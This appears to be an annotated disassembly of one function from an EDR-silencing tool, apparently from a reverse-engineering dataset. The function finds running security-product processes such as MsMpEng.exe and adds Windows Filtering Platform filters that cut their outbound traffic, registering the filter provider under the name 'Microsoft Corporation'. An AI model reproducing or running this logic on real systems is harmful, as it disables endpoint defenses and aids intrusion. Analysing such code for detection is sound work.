Function at 0x140001510
Capabilities:
Enumerate processes
Register network filter via wfp api

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x508
xor eax, eax
mov ecx, 0x26
xor r9d, r9d
xor r8d, r8d
lea r14, [rsp + 0x1c0]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], 0
mov rdi, r14
rep stosq qword [rdi], rax
mov qword [rsp + 0x20], rdx
mov edx, 0xffffffff
call sym.FwpmEngineOpen0
test eax, eax
jne 0x140001909
call sym.EnableSeDebugPrivilege
xor edx, edx
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140001a24
mov rdx, r14
mov rcx, rax
lea rsi, str.MsMpEng.exe
xor r12d, r12d
lea rbx, [rsp + 0x1ec]
lea rbp, [0x140012040]
mov dword [rsp + 0x1c0], 0x130
call sym.Process32First
test eax, eax
je 0x14000193f
nop dword [rax + rax]
xor r15d, r15d
jmp 0x1400015de
add r15, 1
cmp r15, 0x36
je 0x140001892
mov rdx, qword [rsi + r15*8]
mov rcx, rbx
call sym.strcmp
test eax, eax
jne 0x1400015d0
mov ecx, dword [rbp + r15*4]
test ecx, ecx
jne 0x1400015d0
movsxd r8, r15d
mov rdx, rbx
lea rcx, str.Detected_running_EDR_process:__s___d_:_n
mov dword [rbp + r8*4], 1
mov r8d, dword [rsp + 0x1c8]
call sym.printf
mov r8d, dword [rsp + 0x1c8]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
je 0x1400018ef
xor eax, eax
lea rdi, [rsp + 0x2f0]
pxor xmm0, xmm0
xor edx, edx
mov ecx, 0x41
lea r9, [rsp + 0x4c]
mov dword [rsp + 0x4c], 0x104
rep stosq qword [rdi], rax
mov ecx, 0x19
lea rdi, [rsp + 0xf0]
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x38], rdi
rep stosq qword [rdi], rax
mov rcx, r12
lea rdi, [rsp + 0x2f0]
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov r8, rdi
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xe0], xmm0
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rdx, [rsp + 0x58]
mov rcx, rdi
call sym.CustomFwpmGetAppIdFromFileName0
test eax, eax
jne 0x1400018d6
movabs r15, 0x4ea58644d78e1e87
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x68]
mov r9, qword [str.Custom_Outbound_Filter]
mov qword [rsp + 0x80], r15
mov rax, qword [rsp + 0x58]
lea r15, [rsp + 0x70]
movabs r10, 0x4c3305a7c38d57d1
mov qword [rsp + 0x168], rcx
mov rcx, qword [section..data]
movabs r11, 0x820ee6eebc7f4f90
movabs r8, 0x71c9efec09d83794
mov qword [rsp + 0x158], rdx
mov rdx, r15
mov qword [rsp + 0x100], r9
mov dword [rsp + 0x110], 1
mov qword [rsp + 0x130], r10
mov qword [rsp + 0x138], r11
mov dword [rsp + 0x170], 0x1001
mov qword [rsp + 0x68], 0xffffffffffffffff
mov dword [rsp + 0x150], 4
mov qword [rsp + 0x88], r8
mov dword [rsp + 0x90], 0
mov dword [rsp + 0x98], 0xc
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x160], 1
call sym.GetProviderGUIDByDescription
test eax, eax
je 0x1400019c5
mov qword [rsp + 0x118], r15
lea r15, [rsp + 0x60]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov r9, r15
call sym.FwpmFilterAdd0
test eax, eax
jne 0x14000192c
mov r8, qword [rsp + 0x60]
mov rdx, rdi
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv4_layer_._n
call sym.printf
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
movabs r9, 0x44bc319f4a72393b
mov qword [rsp + 0x130], r9
mov r9, r15
movabs r10, 0xb4b6b3dc54bac384
mov qword [rsp + 0x138], r10
call sym.FwpmFilterAdd0
test eax, eax
jne 0x140001919
mov r8, qword [rsp + 0x60]
mov rdx, rdi
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv6_layer_._n
call sym.printf
mov rcx, qword [rsp + 0x58]
call sym.FreeAppId
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12d, 1
mov rdx, r14
mov rcx, r13
call sym.Process32Next
test eax, eax
jne 0x1400015c0
test r12d, r12d
je 0x140001a13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call sym.FwpmEngineClose0
nop
add rsp, 0x508
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
cmp eax, 5
ja case.0x1400018ec.0
lea rdx, [0x14000d55c]
mov r11d, eax
movsxd r8, dword [rdx + r11*4]
add r8, rdx
jmp r8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
lea rcx, str.________Could_not_open_process___s__with_error_code:_0x_x._n
mov r8d, eax
call sym.printf
jmp 0x14000188c
mov edx, eax
lea rcx, section..rdata
call sym.printf
jmp 0x1400018c2
mov edx, eax
lea rcx, str.________Failed_to_add_filter_in_IPv6_layer_with_error_code:_0x_x._n
call sym.printf
jmp 0x140001879
mov edx, eax
lea rcx, str.________Failed_to_add_filter_in_IPv4_layer_with_error_code:_0x_x._n
call sym.printf
jmp 0x140001824
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Process32First_failed_with_error_code:_0x_x._n
mov edx, eax
call sym.printf
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400018c2
mov rdx, rdi
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Failed_to_convert_drive_name_to_DOS_device_name._n
call sym.printf
jmp case.0x1400018ec.0
mov rdx, rdi
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_drive_name_cannot_be_found._n
call sym.printf
jmp case.0x1400018ec.0
mov rdx, rdi
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Please_check_your_input._n
call sym.printf
jmp case.0x1400018ec.0
mov rdx, rdi
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Error_occurred_in_allocating_memory_for_appId._n
call sym.printf
jmp case.0x1400018ec.0
mov rdx, rdi
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_file_path_cannot_be_found._n
call sym.printf
jmp case.0x1400018ec.0
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0xb0]
xor r8d, r8d
movq xmm1, qword [str.Microsoft_Corporation]
mov dword [rsp + 0xd0], 1
movhps xmm1, qword [section..data]
movups xmmword [rsp + 0xc0], xmm1
call sym.FwpmProviderAdd0
mov edx, eax
test eax, eax
je 0x140001a3d
lea rcx, str.________FwpmProviderAdd0_failed_with_error_code:_0x_x._n
call sym.printf
jmp 0x1400017ee
lea rcx, str.____No_EDR_process_was_detected._Please_double_check_the_edrProcess_list_or_add_the_filter_manually_using_block_command._n
call sym.printf
jmp 0x1400018ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateToolhelp32Snapshot__of_processes__failed_with_error_code:_0x_x._n
mov edx, eax
call sym.printf
jmp 0x1400018c2
mov rcx, qword [section..data]
mov rdx, r15
call sym.GetProviderGUIDByDescription
test eax, eax
jne 0x1400017e6
jmp 0x1400017ee